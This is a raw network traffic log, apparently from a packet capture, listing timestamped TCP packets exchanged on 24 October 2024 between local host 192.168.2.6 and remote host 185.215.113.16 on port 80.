Oct 24, 2024 18:09:09.944371939 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.944371939 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.944371939 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.944459915 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.944739103 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.944773912 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.944807053 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.944839001 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.944873095 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.944940090 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.944940090 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.944940090 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.944940090 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.944940090 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.945122004 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.945269108 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.945347071 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.945347071 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.989557981 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.989588976 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.989734888 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.989733934 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.989763975 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:09.989815950 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:09.989816904 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.031426907 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.031461954 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.031496048 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.031667948 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.031667948 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.063044071 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.063081026 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.063113928 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.063146114 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.063179016 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.063275099 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.063275099 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.063275099 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.063276052 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.063276052 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.063349009 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.063385010 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.063401937 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.063421011 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.063433886 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.063477039 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.064054012 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.064106941 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.064116001 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.064141035 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.064188004 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.064188957 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.064306974 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.064340115 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.064376116 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.064409018 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.064441919 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.064543962 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.064543962 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.064543962 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.064543962 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.064543962 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.105139971 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.105178118 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.105211973 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.105417013 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.109132051 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.109164953 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.109198093 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.109313011 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.109313011 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.109313011 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.150724888 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.150758982 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.150791883 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.150969028 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.150969982 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.150969982 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.182193041 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.182229042 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.182261944 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.182295084 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.182425022 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.182425022 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.182425976 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.182425976 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.182476044 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.182511091 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.182534933 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.182543039 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.182559013 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.182584047 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.182740927 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.182770014 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.182917118 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.182917118 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.183254004 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.183285952 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.183336973 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.183379889 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.183379889 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.183379889 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.183389902 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.183424950 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.183449030 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.183459997 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.183470011 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.183492899 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.183500051 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.183528900 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.183543921 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.183568954 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.224556923 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.224606037 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.224643946 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.224754095 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.224755049 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.224755049 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.228339911 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.228374958 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.228408098 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.228534937 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.228534937 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.228534937 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.270123959 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.270167112 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.270200968 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.270335913 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.270335913 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.270335913 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.301498890 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.301573038 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.301624060 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.301659107 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.301692009 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.301727057 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.301753998 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.301753998 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.301753998 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.301753998 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.301753998 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.301863909 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.301883936 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.301913023 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.301935911 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.301955938 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.302510977 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.302563906 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.302597046 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.302714109 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.302714109 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.302714109 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.302714109 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.302750111 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.302783966 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.302786112 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.302809954 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.302829981 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.303409100 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.303442955 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.303467989 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.303478956 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.303493977 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.303529978 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.344420910 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.344470978 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.344496965 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.344508886 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.344588995 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.344588995 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.348150015 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.348201990 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.348330021 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.348364115 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.348387003 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.348398924 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.348409891 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.348434925 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.348454952 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.348481894 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.389882088 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.389930964 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.389969110 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.390161037 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.421295881 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.421333075 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.421366930 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.421400070 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.421430111 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.421463013 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.421520948 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.421520948 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.421520948 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.421520948 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.421520948 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.421613932 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.421664953 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.421681881 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.421717882 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.422452927 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.422503948 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.422537088 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.422533989 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.422586918 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.422611952 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.422611952 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.422621012 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.422652960 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.422657013 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.422681093 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.422708035 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.468476057 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.468525887 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.468556881 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.468560934 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.468586922 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.468594074 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.468604088 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.468630075 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.468631029 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.468664885 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.468667984 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.468700886 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.468719959 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.468754053 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.468765974 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.468784094 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.468787909 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.468826056 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.468827963 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.468869925 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.509417057 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.509465933 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.509505987 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.509654999 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.509654999 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.509655952 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.540785074 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.540873051 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.540910959 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.540946007 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.540980101 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.540992022 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.540992022 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.540992022 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.540992022 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.541016102 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.541053057 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.541069031 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.541069984 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.541110039 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.541146040 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.541194916 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.541800022 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.541834116 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.541870117 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.541903973 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.541963100 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.541963100 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.541963100 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.541964054 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.542037964 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.542094946 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.542134047 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.542190075 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.587793112 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.587904930 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.587939024 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.587975979 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.588010073 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.588042974 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.588064909 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.588066101 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.588066101 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.588066101 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.588066101 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.588104963 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.588144064 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.588160038 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.588167906 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.588211060 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.588221073 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.588247061 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.588282108 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.588301897 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.588301897 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.588316917 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.588340044 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.588351011 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.588359118 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.588395119 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.628546000 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.628679991 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.628717899 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.628808975 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.628809929 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.628809929 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.660285950 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.660320997 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.660355091 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.660387993 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.660429001 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.660429001 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.660429001 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.660429001 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.660440922 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.660522938 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.661046028 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.661079884 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.661113024 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.661165953 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.661201000 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.661226988 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.661226988 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.661233902 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.661226988 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.661227942 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.661324024 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.661324024 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.706912041 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.707009077 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.707237005 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.707271099 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.707294941 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.707305908 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.707355976 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.707355976 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.707374096 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.707407951 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.707439899 CEST	80	49994	185.215.113.16	192.168.2.6
Oct 24, 2024 18:09:10.707448006 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.707448959 CEST	49994	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:09:10.707473993 CEST	80	49994	185.215.113.16	192.168.2.6
